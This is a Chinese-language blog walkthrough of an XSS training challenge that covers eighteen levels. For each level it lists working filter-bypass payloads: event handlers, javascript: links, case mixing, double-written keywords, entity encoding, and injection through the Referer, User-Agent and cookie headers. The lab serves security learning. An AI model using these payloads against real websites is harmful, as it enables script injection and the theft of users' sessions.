xss挑战通关笔记

levle1

在url中输入tt,页面输出tt
在这里插入图片描述
在url中构造这段js代码
<script>alert(1)</script>
在这里插入图片描述

level2

第二关是一个输入框,输入js代码
在这里插入图片描述
观察html页面代码,输出做了转义,但是输入没有做转义,在输入处构造js代码,注意闭合。
在这里插入图片描述
“>闭合前面的<”,//注入后门的内容,或者闭合后面的内容

"><script>alert(1)</script>//  
"><script>alert(/xss/)</script>"

在这里插入图片描述
在这里插入图片描述

level3

第三关依然是一个输入框。输入一段js代码看html,输入和输出做了转义在这里插入图片描述
不能使用<script>,使用js中的事件
onmouseover
onclick

'onclick=alert(1)//
'onmouseover=alert(1)//

在这里插入图片描述

level4

在输入输出处做了转义和替换
在这里插入图片描述
不能使用<script>
同样使用事件绕过


"onclick=alert(1)//
"onmouseover=alert(1)//

在这里插入图片描述

level5

输入将<script>代替<scr_ipt>,输出转义
在这里插入图片描述
事件on也被替换了o_n
hi
事件中的on替换成了o_n
在这里插入图片描述
使用a标签

"><a href=javascript:alert(1)>111</a>
"><a href=javascript:alert(1)//

在这里插入图片描述

level6

同样,输出做了转义,输入做了替换
在这里插入图片描述
a标签也不能使用了,大小写替换

"><a HrEf=javascript:alert(1)//
"><sCript>alert(1)</sCript>//

在这里插入图片描述

level7

on src 都被换成空了
on  都被 过滤了
使用双写绕过

"><scrscriptipt>alert(/xss/)</scrscriptipt>
"oonnclick=alert(1)//
"oonnmouseover=alert(1)//

level8

在这里插入图片描述
观察代码,输入使用htmlspecialchars函数做了html实体化,并且做了过滤替换。使用伪协议绕过。

javascript:alert(1)

但是script被过滤了,使用编码绕过。编码其中一个字母即可

javascri&#x70;&#x74;:alert(1)

在这里插入图片描述

level9

在这里插入图片描述
观察源码可以发现在第8关的基础上面,在输出点做了一个判断连接是否是http://
将http://1.com给注释掉了

javascri&#x70;&#x74;:alert(1)//http://1.com// #使用了注释

javascrip&#x74;:%0dhttp://1.com%0dalert(1) #不使用注释

在这里插入图片描述

level10

没有了输入框,查看源码
尖括号<>都被转换成空,还有三个hidden的隐藏输入框
在这里插入图片描述
在这里插入图片描述
构造js代码

hello&t_sort="type="text" onclick="alert(1)

level11

http头部的xss
$str11=$_SERVER['HTTP_REFERER'];多了一个接收http请求头的字符串
在这里插入图片描述
抓包
在这里插入图片描述
改包,添加Referer头
在这里插入图片描述

Referer:" onmouseover=alert(11) type="text"

                Referer:" onclick="alert(11)" type="text

在这里插入图片描述

level12

同11关,只是此关是UA注入的xss
在这里插入图片描述

onmouseover=alert(11) type="text"
" onclick="alert(11)" type="text

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

level13

此关是cookie
在这里插入图片描述
抓包
在这里插入图片描述

" onmouseover=alert(13) type="text"
" onclick="alert(13)" type="text

在这里插入图片描述
在这里插入图片描述

level14

未看明白,百度看是需要上传一个含有xss代码的图片触发xss。这关是exif xss

level15

未看明白,百度此关angularjs的ng-include,相当于PHP中的文件包含。
包含第一关的源码进行xss。

?src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'

但是googleapis.com无法访问
在这里插入图片描述

level16

查看源码,过滤了空格,script,/
使用%0d %0a做分割符
在这里插入图片描述

?keyword=<img%0dsrc=1%0donerror=alert()>

在这里插入图片描述

level17

输入点在url上面,输出在src中

onmouseover=alert(1)

在这里插入图片描述

level18

和17关一样

onmouseover=alert(1)

在这里插入图片描述

发布了31 篇原创文章 · 获赞 6 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43886632/article/details/104918686
今日推荐